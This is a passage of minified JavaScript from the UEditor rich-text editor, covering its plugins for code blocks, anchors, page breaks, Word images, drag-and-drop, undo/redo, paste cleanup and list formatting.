- (a=a.className.match(/brush:([^;]+)/))&&a[1]?a[1]:"",!1});return d}};f.addInputRule(function(a){p.each(a.getNodesByTagName("pre"),function(a){var c=a.getNodesByTagName("br");c.length?r.ie&&8<r.version&&p.each(c,function(a){var c=UE.uNode.createText("\n");a.parentNode.insertBefore(c,a);a.parentNode.removeChild(a)}):r.ie&&8<r.version||(c=a.innerText().split(/\n/),a.innerHTML(""),p.each(c,function(b){b.length&&a.appendChild(UE.uNode.createText(b));a.appendChild(UE.uNode.createElement("br"))}))})});f.addOutputRule(function(a){p.each(a.getNodesByTagName("pre"),
- function(a){var c="";p.each(a.children,function(a){c="text"==a.type?c+a.data.replace(/[ ]/g," ").replace(/\n$/,""):"br"==a.tagName?c+"\n":c+(w.$empty[a.tagName]?a.innerText():"")});a.innerText(c.replace(/( |\n)+$/,""))})});f.notNeedCodeQuery={help:1,undo:1,redo:1,source:1,print:1,searchreplace:1,fullscreen:1,preview:1,insertparagraph:1,elementpath:1,highlightcode:1,insertcode:1,inserthtml:1,selectall:1};f.queryCommandState=function(a){return!this.notNeedCodeQuery[a.toLowerCase()]&&this.selection&&
- this.queryCommandValue("insertcode")?-1:UE.Editor.prototype.queryCommandState.apply(this,arguments)};f.addListener("beforeenterkeydown",function(){var a=f.selection.getRange(),d=e.findParentByTagName(a.startContainer,"pre",!0);if(d){f.fireEvent("saveScene");a.collapsed||a.deleteContents();if(r.ie)if(8<r.version){var d=f.document.createTextNode("\n"),c=a.startContainer;if(0==a.startOffset){if(c.previousSibling){a.insertNode(d);var b=f.document.createTextNode(" ");a.setStartAfter(d).insertNode(b).setStart(b,
- 0).collapse(!0).select(!0)}}else a.insertNode(d).setStartAfter(d),b=f.document.createTextNode(" "),(c=a.startContainer.childNodes[a.startOffset])&&!/^\n/.test(c.nodeValue)&&a.setStartBefore(d),a.insertNode(b).setStart(b,0).collapse(!0).select(!0)}else{d=f.document.createElement("br");a.insertNode(d);a.insertNode(f.document.createTextNode(e.fillChar));a.setStartAfter(d);for(d=d.previousSibling;d;)if(c=d,d=d.previousSibling,!d||"BR"==d.nodeName){d=c;break}if(d){for(c="";d&&"BR"!=d.nodeName&&RegExp("^[ "+
- e.fillChar+"]*$").test(d.nodeValue);)c+=d.nodeValue,d=d.nextSibling;"BR"!=d.nodeName&&(d=d.nodeValue.match(RegExp("^([ "+e.fillChar+"]+)")))&&d[1]&&(c+=d[1]);c=f.document.createTextNode(c);a.insertNode(c).setStartAfter(c)}a.collapse(!0).select()}else{d=f.document.createElement("br");a.insertNode(d).setStartAfter(d).collapse(!0);d.nextSibling?a.setStartAfter(d):a.insertNode(d.cloneNode(!1));for(d=d.previousSibling;d;)if(c=d,d=d.previousSibling,!d||"BR"==d.nodeName){d=c;break}if(d){for(c="";d&&"BR"!=
- d.nodeName&&RegExp("^[\\s"+e.fillChar+"]*$").test(d.nodeValue);)c+=d.nodeValue,d=d.nextSibling;"BR"!=d.nodeName&&(d=d.nodeValue.match(RegExp("^([\\s"+e.fillChar+"]+)")))&&d[1]&&(c+=d[1]);c&&(c=f.document.createTextNode(c),a.insertNode(c).setStartAfter(c))}a.collapse(!0).select(!0)}f.fireEvent("saveScene");return!0}});f.addListener("tabkeydown",function(a,d){var c=f.selection.getRange(),b=e.findParentByTagName(c.startContainer,"pre",!0);if(b){f.fireEvent("saveScene");if(!d.shiftKey)if(c.collapsed)b=
- f.document.createTextNode(" "),c.insertNode(b).setStartAfter(b).collapse(!0).select(!0);else{for(var h=c.createBookmark(),g=h.start.previousSibling;g;){if(b.firstChild===g&&!e.isBr(g)){b.insertBefore(f.document.createTextNode(" "),g);break}if(e.isBr(g)){b.insertBefore(f.document.createTextNode(" "),g.nextSibling);break}g=g.previousSibling}var k=h.end,g=h.start.nextSibling;for(b.firstChild===h.start&&b.insertBefore(f.document.createTextNode(" "),g.nextSibling);g&&g!==k;){if(e.isBr(g)&&
- g.nextSibling){if(g.nextSibling===k)break;b.insertBefore(f.document.createTextNode(" "),g.nextSibling)}g=g.nextSibling}c.moveToBookmark(h).select()}f.fireEvent("saveScene");return!0}});f.addListener("beforeinserthtml",function(a,d){var c=this,b=c.selection.getRange();if(e.findParentByTagName(b.startContainer,"pre",!0)){b.collapsed||b.deleteContents();var h="";if(r.ie&&8<r.version){p.each(UE.filterNode(UE.htmlparser(d),c.options.filterTxtRules).children,function(a){"element"==a.type?"br"==a.tagName?
- h+="\n":w.$empty[a.tagName]||(p.each(a.children,function(b){"element"==b.type?"br"==b.tagName?h+="\n":w.$empty[a.tagName]||(h+=b.innerText()):h+=b.data}),/\n$/.test(h)||(h+="\n")):h+=a.data+"\n";!a.nextSibling()&&/\n$/.test(h)&&(h=h.replace(/\n$/,""))});var g=c.document.createTextNode(p.html(h.replace(/ /g," ")));b.insertNode(g).selectNode(g).select()}else{var k=c.document.createDocumentFragment();p.each(UE.filterNode(UE.htmlparser(d),c.options.filterTxtRules).children,function(a){"element"==
- a.type?"br"==a.tagName?k.appendChild(c.document.createElement("br")):w.$empty[a.tagName]||(p.each(a.children,function(b){"element"==b.type?"br"==b.tagName?k.appendChild(c.document.createElement("br")):w.$empty[a.tagName]||k.appendChild(c.document.createTextNode(p.html(b.innerText().replace(/ /g," ")))):k.appendChild(c.document.createTextNode(p.html(b.data.replace(/ /g," "))))}),"BR"!=k.lastChild.nodeName&&k.appendChild(c.document.createElement("br"))):k.appendChild(c.document.createTextNode(p.html(a.data.replace(/ /g,
- " "))));a.nextSibling()||"BR"!=k.lastChild.nodeName||k.removeChild(k.lastChild)});b.insertNode(k).select()}return!0}});f.addListener("keydown",function(a,d){if(40==(d.keyCode||d.which)){var c=this.selection.getRange(),b,h=c.startContainer;if(c.collapsed&&(b=e.findParentByTagName(c.startContainer,"pre",!0))&&!b.nextSibling){for(var g=b.lastChild;g&&"BR"==g.nodeName;)g=g.previousSibling;if(g===h||c.startContainer===b&&c.startOffset==b.childNodes.length)this.execCommand("insertparagraph"),e.preventDefault(d)}}});
- f.addListener("delkeydown",function(a,d){var c=this.selection.getRange();c.txtToElmBoundary(!0);var b=c.startContainer;if(e.isTagNode(b,"pre")&&c.collapsed&&e.isStartInblock(c)){var h=f.document.createElement("p");e.fillNode(f.document,h);b.parentNode.insertBefore(h,b);e.remove(b);c.setStart(h,0).setCursor(!1,!0);e.preventDefault(d);return!0}})};UE.commands.cleardoc={execCommand:function(e){var a=this;e=a.options.enterTag;var d=a.selection.getRange();"br"==e?(a.body.innerHTML="<br/>",d.setStart(a.body,
- 0).setCursor()):(a.body.innerHTML="<p>"+(E?"":"<br/>")+"</p>",d.setStart(a.body.firstChild,0).setCursor(!1,!0));setTimeout(function(){a.fireEvent("clearDoc")},0)}};UE.plugins.anchor=function(){var f=this;f.ready(function(){p.cssRule("anchor",".anchorclass{background: url('"+f.options.UEDITOR_HOME_URL+"themes/default/images/anchor.gif') no-repeat scroll left center transparent;border: 1px dotted #0000FF;cursor: auto;display: inline-block;height: 16px;width: 15px;}",f.document)});f.addOutputRule(function(a){p.each(a.getNodesByTagName("img"),
- function(a){var c;if(c=a.getAttr("anchorname"))a.tagName="a",a.setAttr({anchorname:"",name:c,"class":""})})});f.addInputRule(function(a){p.each(a.getNodesByTagName("a"),function(a){a.getAttr("name")&&!a.getAttr("href")&&(a.tagName="img",a.setAttr({anchorname:a.getAttr("name"),"class":"anchorclass"}),a.setAttr("name"))})});f.commands.anchor={execCommand:function(a,d){var c=this.selection.getRange(),b=c.getClosedNode();b&&b.getAttribute("anchorname")?d?b.setAttribute("anchorname",d):(c.setStartBefore(b).setCursor(),
- e.remove(b)):d&&(b=this.document.createElement("img"),c.collapse(!0),e.setAttributes(b,{anchorname:d,"class":"anchorclass"}),c.insertNode(b).setStartAfter(b).setCursor(!1,!0))}}};UE.plugins.wordcount=function(){var f=this;f.addListener("contentchange",function(){f.fireEvent("wordcount")});var a;f.addListener("ready",function(){var d=this;e.on(d.body,"keyup",function(c){(c.keyCode||c.which)in{16:1,18:1,20:1,37:1,38:1,39:1,40:1}||(clearTimeout(a),a=setTimeout(function(){d.fireEvent("wordcount")},200))})})};
- UE.plugins.pagebreak=function(){function f(a){if(e.isEmptyBlock(a)){for(var c=a.firstChild,g;c&&1==c.nodeType&&e.isEmptyBlock(c);)g=c,c=c.firstChild;!g&&(g=a);e.fillNode(d.document,g)}}function a(a){return a&&1==a.nodeType&&"HR"==a.tagName&&"pagebreak"==a.className}var d=this,c=["td"];d.setOpt("pageBreakTag","_ueditor_page_break_tag_");d.ready(function(){p.cssRule("pagebreak",".pagebreak{display:block;clear:both !important;cursor:default !important;width: 100% !important;margin:0;}",d.document)});
- d.addInputRule(function(a){a.traversal(function(a){if("text"==a.type&&a.data==d.options.pageBreakTag){var b=UE.uNode.createElement('<hr class="pagebreak" noshade="noshade" size="5" style="-webkit-user-select: none;">');a.parentNode.insertBefore(b,a);a.parentNode.removeChild(a)}})});d.addOutputRule(function(a){p.each(a.getNodesByTagName("hr"),function(a){if("pagebreak"==a.getAttr("class")){var b=UE.uNode.createText(d.options.pageBreakTag);a.parentNode.insertBefore(b,a);a.parentNode.removeChild(a)}})});
- d.commands.pagebreak={execCommand:function(){var b=d.selection.getRange(),h=d.document.createElement("hr");e.setAttributes(h,{"class":"pagebreak",noshade:"noshade",size:"5"});e.unSelectable(h);var g=e.findParentByTagName(b.startContainer,c,!0),k=[];if(g)switch(g.tagName){case "TD":g=g.parentNode,g.previousSibling?(g.parentNode.insertBefore(h,g),k=e.findParents(h)):(b=e.findParentByTagName(g,"table"),b.parentNode.insertBefore(h,b),k=e.findParents(h,!0)),g=k[1],h!==g&&e.breakParent(h,g),d.fireEvent("afteradjusttable",
- d.document)}else{if(!b.collapsed)for(b.deleteContents(),g=b.startContainer;!e.isBody(g)&&e.isBlockElm(g)&&e.isEmptyNode(g);)b.setStartBefore(g).collapse(!0),e.remove(g),g=b.startContainer;b.insertNode(h);for(g=h.parentNode;!e.isBody(g);)e.breakParent(h,g),(g=h.nextSibling)&&e.isEmptyBlock(g)&&e.remove(g),g=h.parentNode;g=h.nextSibling;k=h.previousSibling;a(k)?e.remove(k):k&&f(k);g?(a(g)?e.remove(g):f(g),b.setEndAfter(h).collapse(!1)):(g=d.document.createElement("p"),h.parentNode.appendChild(g),e.fillNode(d.document,
- g),b.setStart(g,0).collapse(!0));b.select(!0)}}}};UE.plugins.wordimage=function(){var f=this,a;f.addInputRule(function(a){p.each(a.getNodesByTagName("img"),function(a){var b=a.attrs,d=128>parseInt(b.width)||43>parseInt(b.height),g=f.options,e=g.UEDITOR_HOME_URL+"themes/default/images/spacer.gif";b._src&&-1!==b._src.indexOf("file:///")&&a.setAttr({width:b.width,height:b.height,alt:b.alt,word_img:b._src,src:e,_src:e,style:"background:url("+(d?g.themePath+g.theme+"/images/word.gif":g.langPath+g.lang+
- "/images/localimage.png")+") no-repeat center center;border:1px solid #ddd"})})});f.commands.wordimage={execCommand:function(){a=e.getElementsByTagName(f.document.body,"img");for(var d=[],c=0,b;b=a[c++];)(b=b.getAttribute("word_img"))&&d.push(b);a.length&&(this.word_img=d)},queryCommandState:function(){a=e.getElementsByTagName(f.document.body,"img");for(var d=0,c;c=a[d++];)if(c.getAttribute("word_img"))return 1;return-1}}};UE.plugins.dragdrop=function(){var f=this;f.ready(function(){e.on(this.body,
- "dragend",function(){var a=f.selection.getRange(),d=a.getClosedNode()||f.selection.getStart();if(d&&"IMG"==d.tagName){for(var c=d.previousSibling,b;(b=d.nextSibling)&&1==b.nodeType&&"SPAN"==b.tagName&&!b.firstChild;)e.remove(b);(!c||1!=c.nodeType||e.isEmptyBlock(c))&&c||b&&(!b||e.isEmptyBlock(b))||(c&&"P"==c.tagName&&!e.isEmptyBlock(c)?(c.appendChild(d),e.moveChild(b,c),e.remove(b)):b&&("P"==b.tagName&&!e.isEmptyBlock(b))&&b.insertBefore(d,b.firstChild),c&&("P"==c.tagName&&e.isEmptyBlock(c))&&e.remove(c),
- b&&("P"==b.tagName&&e.isEmptyBlock(b))&&e.remove(b),a.selectNode(d).select(),f.fireEvent("saveScene"))}})});f.addListener("keyup",function(a,d){if(13==(d.keyCode||d.which)){var c=f.selection.getRange(),b;(b=e.findParentByTagName(c.startContainer,"p",!0))&&"center"==e.getComputedStyle(b,"text-align")&&e.removeStyle(b,"text-align")}})};UE.plugins.undo=function(){function f(a,b){if(a.length!=b.length)return 0;for(var c=0,g=a.length;c<g;c++)if(a[c]!=b[c])return 0;return 1}function a(){this.undoManger.save()}
- var d,c=this.options.maxUndoCount||20,b=this.options.maxInputCount||20,h=RegExp(e.fillChar+"|</hr>","gi"),g={ol:1,ul:1,table:1,tbody:1,tr:1,body:1},k=this.options.autoClearEmptyNode;this.undoManger=new function(){this.list=[];this.index=0;this.hasRedo=this.hasUndo=!1;this.undo=function(){if(this.hasUndo)if(this.list[this.index-1]||1!=this.list.length){for(;this.list[this.index].content==this.list[this.index-1].content;)if(this.index--,0==this.index)return this.restore(0);this.restore(--this.index)}else this.reset()};
- this.redo=function(){if(this.hasRedo){for(;this.list[this.index].content==this.list[this.index+1].content;)if(this.index++,this.index==this.list.length-1)return this.restore(this.index);this.restore(++this.index)}};this.restore=function(){var a=this.editor,b=this.list[this.index],c=UE.htmlparser(b.content.replace(h,""));a.options.autoClearEmptyNode=!1;a.filterInputRule(c);a.options.autoClearEmptyNode=k;a.document.body.innerHTML=c.toHtml();a.fireEvent("afterscencerestore");r.ie&&p.each(e.getElementsByTagName(a.document,
- "td th caption p"),function(b){e.isEmptyNode(b)&&e.fillNode(a.document,b)});try{var d=(new K.Range(a.document)).moveToAddress(b.address);d.select(g[d.startContainer.nodeName.toLowerCase()])}catch(l){}this.update();this.clearKey();a.fireEvent("reset",!0)};this.getScene=function(){var a=this.editor,b=a.selection.getRange().createAddress(!1,!0);a.fireEvent("beforegetscene");var c=UE.htmlparser(a.body.innerHTML);a.options.autoClearEmptyNode=!1;a.filterOutputRule(c);a.options.autoClearEmptyNode=k;c=c.toHtml();
- a.fireEvent("aftergetscene");return{address:b,content:c}};this.save=function(a,b){clearTimeout(d);var g=this.getScene(b),e=this.list[this.index],l;if(l=e)if(l=e.content==g.content)a?e=1:(e=e.address,l=g.address,e=e.collapsed!=l.collapsed?0:f(e.startAddress,l.startAddress)&&f(e.endAddress,l.endAddress)?1:0),l=e;l||(this.list=this.list.slice(0,this.index+1),this.list.push(g),this.list.length>c&&this.list.shift(),this.index=this.list.length-1,this.clearKey(),this.update())};this.update=function(){this.hasRedo=
- !!this.list[this.index+1];this.hasUndo=!!this.list[this.index-1]};this.reset=function(){this.list=[];this.index=0;this.hasRedo=this.hasUndo=!1;this.clearKey()};this.clearKey=function(){n=0}};this.undoManger.editor=this;this.addListener("saveScene",function(){var a=Array.prototype.splice.call(arguments,1);this.undoManger.save.apply(this.undoManger,a)});this.addListener("beforeexeccommand",a);this.addListener("afterexeccommand",a);this.addListener("reset",function(a,b){b||this.undoManger.reset()});
- this.commands.redo=this.commands.undo={execCommand:function(a){this.undoManger[a]()},queryCommandState:function(a){return this.undoManger["has"+("undo"==a.toLowerCase()?"Undo":"Redo")]?0:-1},notNeedUndo:1};var l={16:1,17:1,18:1,37:1,38:1,39:1,40:1},n=0,m=!1;this.addListener("ready",function(){e.on(this.body,"compositionstart",function(){m=!0});e.on(this.body,"compositionend",function(){m=!1})});this.addshortcutkey({Undo:"ctrl+90",Redo:"ctrl+89"});var s=!0;this.addListener("keydown",function(a,c){var g=
- this;if(!(l[c.keyCode||c.which]||(c.ctrlKey||c.metaKey||c.shiftKey||c.altKey)||m))if(g.selection.getRange().collapsed){0==g.undoManger.list.length&&g.undoManger.save(!0);clearTimeout(d);var e=function(a){a.selection.getRange().collapsed&&a.fireEvent("contentchange");a.undoManger.save(!1,!0);a.fireEvent("selectionchange")};d=setTimeout(function(){if(m)var a=setInterval(function(){m||(e(g),clearInterval(a))},300);else e(g)},200);n++;n>=b&&e(g)}else g.undoManger.save(!1,!0),s=!1});this.addListener("keyup",
- function(a,b){l[b.keyCode||b.which]||(b.ctrlKey||b.metaKey||b.shiftKey||b.altKey)||m||s||(this.undoManger.save(!1,!0),s=!0)})};UE.plugins.paste=function(){function f(a){var b=this.document;if(!b.getElementById("baidu_pastebin")){var c=this.selection.getRange(),d=c.createBookmark(),h=b.createElement("div");h.id="baidu_pastebin";r.webkit&&h.appendChild(b.createTextNode(e.fillChar+e.fillChar));b.body.appendChild(h);d.start.style.display="";h.style.cssText="position:absolute;width:1px;height:1px;overflow:hidden;left:-1000px;white-space:nowrap;top:"+
- e.getXY(d.start).y+"px";c.selectNodeContents(h).select(!0);setTimeout(function(){if(r.webkit)for(var f=0,t=b.querySelectorAll("#baidu_pastebin"),u;u=t[f++];)if(e.isEmptyNode(u))e.remove(u);else{h=u;break}try{h.parentNode.removeChild(h)}catch(v){}c.moveToBookmark(d).select(!0);a(h)},0)}}function a(a){var k;if(a.firstChild){var l=e.getElementsByTagName(a,"span");k=0;for(var f;f=l[k++];)"_baidu_cut_start"!=f.id&&"_baidu_cut_end"!=f.id||e.remove(f);if(r.webkit){f=a.querySelectorAll("div br");for(k=0;l=
- f[k++];)l=l.parentNode,"DIV"==l.tagName&&1==l.childNodes.length&&(l.innerHTML="<p><br/></p>",e.remove(l));l=a.querySelectorAll("#baidu_pastebin");for(k=0;f=l[k++];){var m=d.document.createElement("p");for(f.parentNode.insertBefore(m,f);f.firstChild;)m.appendChild(f.firstChild);e.remove(f)}f=a.querySelectorAll("meta");for(k=0;l=f[k++];)e.remove(l);f=a.querySelectorAll("br");for(k=0;l=f[k++];)/^apple-/i.test(l.className)&&e.remove(l)}if(r.gecko)for(f=a.querySelectorAll("[_moz_dirty]"),k=0;l=f[k++];)l.removeAttribute("_moz_dirty");
- if(!r.ie)for(f=a.querySelectorAll("span.Apple-style-span"),k=0;l=f[k++];)e.remove(l,!0);k=a.innerHTML;k=UE.filterWord(k);a=UE.htmlparser(k);d.options.filterRules&&UE.filterNode(a,d.options.filterRules);d.filterInputRule(a);r.webkit&&((k=a.lastChild())&&("element"==k.type&&"br"==k.tagName)&&a.removeChild(k),p.each(d.body.querySelectorAll("div"),function(a){e.isEmptyBlock(a)&&e.remove(a)}));k={html:a.toHtml()};d.fireEvent("beforepaste",k,a);k.html&&(a=UE.htmlparser(k.html,!0),1===d.queryCommandState("pasteplain")?
- d.execCommand("insertHtml",UE.filterNode(a,d.options.filterTxtRules).toHtml(),!0):(UE.filterNode(a,d.options.filterTxtRules),c=a.toHtml(),b=k.html,h=d.selection.getRange().createAddress(!0),d.execCommand("insertHtml",b,!0)),d.fireEvent("afterpaste",k))}}var d=this,c,b,h;d.addListener("pasteTransfer",function(a,k){if(h&&c&&b&&c!=b){var l=d.selection.getRange();l.moveToAddress(h,!0);if(!l.collapsed){for(;!e.isBody(l.startContainer);){var f=l.startContainer;if(1==f.nodeType){f=f.childNodes[l.startOffset];
- if(!f){l.setStartBefore(l.startContainer);continue}(f=f.previousSibling)&&(3==f.nodeType&&RegExp("^[\n\r\t "+e.fillChar+"]*$").test(f.nodeValue))&&l.setStartBefore(f)}if(0==l.startOffset)l.setStartBefore(l.startContainer);else break}for(;!e.isBody(l.endContainer);){f=l.endContainer;if(1==f.nodeType){f=f.childNodes[l.endOffset];if(!f){l.setEndAfter(l.endContainer);continue}(f=f.nextSibling)&&(3==f.nodeType&&RegExp("^[\n\r\t"+e.fillChar+"]*$").test(f.nodeValue))&&l.setEndAfter(f)}if(l.endOffset==l.endContainer[3==
- l.endContainer.nodeType?"nodeValue":"childNodes"].length)l.setEndAfter(l.endContainer);else break}}l.deleteContents();l.select(!0);d.__hasEnterExecCommand=!0;l=b;2===k?l=l.replace(/<(\/?)([\w\-]+)([^>]*)>/gi,function(a,b,c,g){c=c.toLowerCase();if({img:1}[c])return a;g=g.replace(/([\w\-]*?)\s*=\s*(("([^"]*)")|('([^']*)')|([^\s>]+))/gi,function(a,b,c){return{src:1,href:1,name:1}[b.toLowerCase()]?b+"="+c+" ":""});return{span:1,div:1}[c]?"":"<"+b+c+" "+p.trim(g)+">"}):k&&(l=c);d.execCommand("inserthtml",
- l,!0);d.__hasEnterExecCommand=!1;for(l=d.selection.getRange();!e.isBody(l.startContainer)&&!l.startOffset&&l.startContainer[3==l.startContainer.nodeType?"nodeValue":"childNodes"].length;)l.setStartBefore(l.startContainer);l=l.createAddress(!0);h.endAddress=l.startAddress}});d.addListener("ready",function(){e.on(d.body,"cut",function(){!d.selection.getRange().collapsed&&d.undoManger&&d.undoManger.save()});e.on(d.body,r.ie||r.opera?"keydown":"paste",function(b){(!r.ie&&!r.opera||(b.ctrlKey||b.metaKey)&&
- "86"==b.keyCode)&&f.call(d,function(b){a(b)})})})};UE.plugins.list=function(){function f(a){var b=[],c;for(c in a)b.push(c);return b}function a(a){var b=a.className;return e.hasClass(a,/custom_/)?b.match(/custom_(\w+)/)[1]:e.getStyle(a,"list-style-type")}function d(g,d){p.each(e.getElementsByTagName(g,"ol ul"),function(l){if(e.inDoc(l,g)){var k=l.parentNode;if(k.tagName==l.tagName){var h=a(l)||("OL"==l.tagName?"decimal":"disc"),f=a(k)||("OL"==k.tagName?"decimal":"disc");h==f&&(h=p.indexOf(m[l.tagName],
- h),h=h+1==m[l.tagName].length?0:h+1,b(l,m[l.tagName][h]))}var s=0,h=2;e.hasClass(l,/custom_/)?/[ou]l/i.test(k.tagName)&&e.hasClass(k,/custom_/)||(h=1):/[ou]l/i.test(k.tagName)&&e.hasClass(k,/custom_/)&&(h=3);(k=e.getStyle(l,"list-style-type"))&&(l.style.cssText="list-style-type:"+k);l.className=p.trim(l.className.replace(/list-paddingleft-\w+/,""))+" list-paddingleft-"+h;p.each(e.getElementsByTagName(l,"li"),function(b){b.style.cssText&&(b.style.cssText="");if(!b.firstChild)e.remove(b);else if(b.parentNode===
- l){s++;if(e.hasClass(l,/custom_/)){var c=1,g=a(l);if("OL"==l.tagName){if(g)switch(g){case "cn":case "cn1":case "cn2":10<s&&(0==s%10||10<s&&20>s)?c=2:20<s&&(c=3);break;case "num2":9<s&&(c=2)}b.className="list-"+n[g]+s+" list-"+g+"-paddingleft-"+c}else b.className="list-"+n[g]+" list-"+g+"-paddingleft"}else b.className=b.className.replace(/list-[\w\-]+/gi,"");c=b.getAttribute("class");null===c||c.replace(/\s/g,"")||e.removeAttributes(b,"class")}});!d&&c(l,l.tagName.toLowerCase(),a(l)||e.getStyle(l,
- "list-style-type"),!0)}})}function c(b,c,g,l){var k=b.nextSibling;k&&(1==k.nodeType&&k.tagName.toLowerCase()==c&&(a(k)||e.getStyle(k,"list-style-type")||("ol"==c?"decimal":"disc"))==g)&&(e.moveChild(k,b),0==k.childNodes.length&&e.remove(k));k&&e.isFillChar(k)&&e.remove(k);(k=b.previousSibling)&&(1==k.nodeType&&k.tagName.toLowerCase()==c&&(a(k)||e.getStyle(k,"list-style-type")||("ol"==c?"decimal":"disc"))==g)&&e.moveChild(b,k);k&&e.isFillChar(k)&&e.remove(k);!l&&e.isEmptyBlock(b)&&e.remove(b);a(b)&&
- d(b.ownerDocument,!0)}function b(a,b){n[b]&&(a.className="custom_"+b);try{e.setStyle(a,"list-style-type",b)}catch(c){}}function h(a){var b=a.previousSibling;b&&e.isEmptyBlock(b)&&e.remove(b);(b=a.nextSibling)&&e.isEmptyBlock(b)&&e.remove(b)}function g(a){for(;a&&!e.isBody(a);){if("TABLE"==a.nodeName)return null;if("LI"==a.nodeName)return a;a=a.parentNode}}var k=this,l={TD:1,PRE:1,BLOCKQUOTE:1},n={cn:"cn-1-",cn1:"cn-2-",cn2:"cn-3-",num:"num-1-",num1:"num-2-",num2:"num-3-",dash:"dash",dot:"dot"};k.setOpt({insertorderedlist:{num:"",
- num1:"",num2:"",cn:"",cn1:"",cn2:"",decimal:"","lower-alpha":"","lower-roman":"","upper-alpha":"","upper-roman":""},insertunorderedlist:{circle:"",disc:"",square:"",dash:"",dot:""},listDefaultPaddingLeft:"30",listiconpath:"http://bs.baidu.com/listicon/",maxListLevel:-1});var m={OL:f(k.options.insertorderedlist),UL:f(k.options.insertunorderedlist)},s=k.options.listiconpath,t;for(t in n)k.options.insertorderedlist.hasOwnProperty(t)||k.options.insertunorderedlist.hasOwnProperty(t)||delete n[t];k.ready(function(){var a=
- [],b;for(b in n){if("dash"==b||"dot"==b)a.push("li.list-"+n[b]+"{background-image:url("+s+n[b]+".gif)}"),a.push("ul.custom_"+b+"{list-style:none;}ul.custom_"+b+" li{background-position:0 3px;background-repeat:no-repeat}");else{for(var c=0;99>c;c++)a.push("li.list-"+n[b]+c+"{background-image:url("+s+"list-"+n[b]+c+".gif)}");a.push("ol.custom_"+b+"{list-style:none;}ol.custom_"+b+" li{background-position:0 3px;background-repeat:no-repeat}")}switch(b){case "cn":a.push("li.list-"+b+"-paddingleft-1{padding-left:25px}");
- a.push("li.list-"+b+"-paddingleft-2{padding-left:40px}");a.push("li.list-"+b+"-paddingleft-3{padding-left:55px}");break;case "cn1":a.push("li.list-"+b+"-paddingleft-1{padding-left:30px}");a.push("li.list-"+b+"-paddingleft-2{padding-left:40px}");a.push("li.list-"+b+"-paddingleft-3{padding-left:55px}");break;case "cn2":a.push("li.list-"+b+"-paddingleft-1{padding-left:40px}");a.push("li.list-"+b+"-paddingleft-2{padding-left:55px}");a.push("li.list-"+b+"-paddingleft-3{padding-left:68px}");break;case "num":case "num1":a.push("li.list-"+
- b+"-paddingleft-1{padding-left:25px}");break;case "num2":a.push("li.list-"+b+"-paddingleft-1{padding-left:35px}");a.push("li.list-"+b+"-paddingleft-2{padding-left:40px}");break;case "dash":a.push("li.list-"+b+"-paddingleft{padding-left:35px}");break;case "dot":a.push("li.list-"+b+"-paddingleft{padding-left:20px}")}}a.push(".list-paddingleft-1{padding-left:0}");a.push(".list-paddingleft-2{padding-left:"+k.options.listDefaultPaddingLeft+"px}");a.push(".list-paddingleft-3{padding-left:"+2*k.options.listDefaultPaddingLeft+
- "px}");p.cssRule("list","ol,ul{margin:0;pading:0;"+(r.ie?"":"width:95%")+"}li{clear:both;}"+a.join("\n"),k.document)});k.ready(function(){e.on(k.body,"cut",function(){setTimeout(function(){var a=k.selection.getRange(),b;if(!a.collapsed&&(b=e.findParentByTagName(a.startContainer,"li",!0))&&!b.nextSibling&&e.isEmptyBlock(b)){b=b.parentNode;var c;(c=b.previousSibling)?(e.remove(b),a.setStartAtLast(c).collapse(!0)):(c=b.nextSibling)?(e.remove(b),a.setStartAtFirst(c).collapse(!0)):(c=k.document.createElement("p"),
- e.fillNode(k.document,c),b.parentNode.insertBefore(c,b),e.remove(b),a.setStart(c,0).collapse(!0));a.select(!0)}})})});k.addListener("beforepaste",function(b,c){var g=this.selection.getRange(),d=UE.htmlparser(c.html,!0);if(g=e.findParentByTagName(g.startContainer,"li",!0)){var l=g.parentNode;p.each(d.getNodesByTagName("OL"==l.tagName?"ul":"ol"),function(c){c.tagName=l.tagName;c.setAttr();if(c.parentNode===d)b=a(l)||("OL"==l.tagName?"decimal":"disc");else{var g=c.parentNode.getAttr("class");(b=g&&/custom_/.test(g)?
- g.match(/custom_(\w+)/)[1]:c.parentNode.getStyle("list-style-type"))||(b="OL"==l.tagName?"decimal":"disc")}g=p.indexOf(m[l.tagName],b);c.parentNode!==d&&(g=g+1==m[l.tagName].length?0:g+1);g=m[l.tagName][g];n[g]?c.setAttr("class","custom_"+g):c.setStyle("list-style-type",g)})}c.html=d.toHtml()});k.addInputRule(function(a){function b(a,d){var e=d.firstChild();if(e&&"element"==e.type&&"span"==e.tagName&&/Wingdings|Symbol/.test(e.getStyle("font-family"))){for(var l in g)if(g[l]==e.data)return l;return"disc"}for(l in c)if(c[l].test(a))return l}
- p.each(a.getNodesByTagName("li"),function(a){for(var b=UE.uNode.createElement("p"),c=0,g;g=a.children[c];)"text"==g.type||w.p[g.tagName]?b.appendChild(g):b.firstChild()?(a.insertBefore(b,g),b=UE.uNode.createElement("p"),c+=2):c++;(b.firstChild()&&!b.parentNode||!a.firstChild())&&a.appendChild(b);b.firstChild()||b.innerHTML(r.ie?" ":"<br/>");a=a.firstChild();(b=a.lastChild())&&("text"==b.type&&/^\s*$/.test(b.data))&&a.removeChild(b)});var c={num1:/^\d+\)/,decimal:/^\d+\./,"lower-alpha":/^[a-z]+\)/,
- "upper-alpha":/^[A-Z]+\./,cn:/^[\u4E00\u4E8C\u4E09\u56DB\u516d\u4e94\u4e03\u516b\u4e5d]+[\u3001]/,cn2:/^\([\u4E00\u4E8C\u4E09\u56DB\u516d\u4e94\u4e03\u516b\u4e5d]+\)/},g={square:"n"};p.each(a.getNodesByTagName("p"),function(a){if("MsoListParagraph"==a.getAttr("class")){a.setStyle("margin","");a.setStyle("margin-left","");a.setAttr("class","");var g=a,d,e=a;if("li"!=a.parentNode.tagName&&(d=b(a.innerText(),a))){var l=UE.uNode.createElement(k.options.insertorderedlist.hasOwnProperty(d)?"ol":"ul");for(n[d]?
- l.setAttr("class","custom_"+d):l.setStyle("list-style-type",d);a&&"li"!=a.parentNode.tagName&&b(a.innerText(),a);){(g=a.nextSibling())||a.parentNode.insertBefore(l,a);var h=l,f=d;if("ol"==h.tagName)if(r.ie){var m=a.firstChild();"element"==m.type&&("span"==m.tagName&&c[f].test(m.innerText()))&&a.removeChild(m)}else a.innerHTML(a.innerHTML().replace(c[f],""));else a.removeChild(a.firstChild());f=UE.uNode.createElement("li");f.appendChild(a);h.appendChild(f);a=g}!l.parentNode&&(a&&a.parentNode)&&a.parentNode.insertBefore(l,
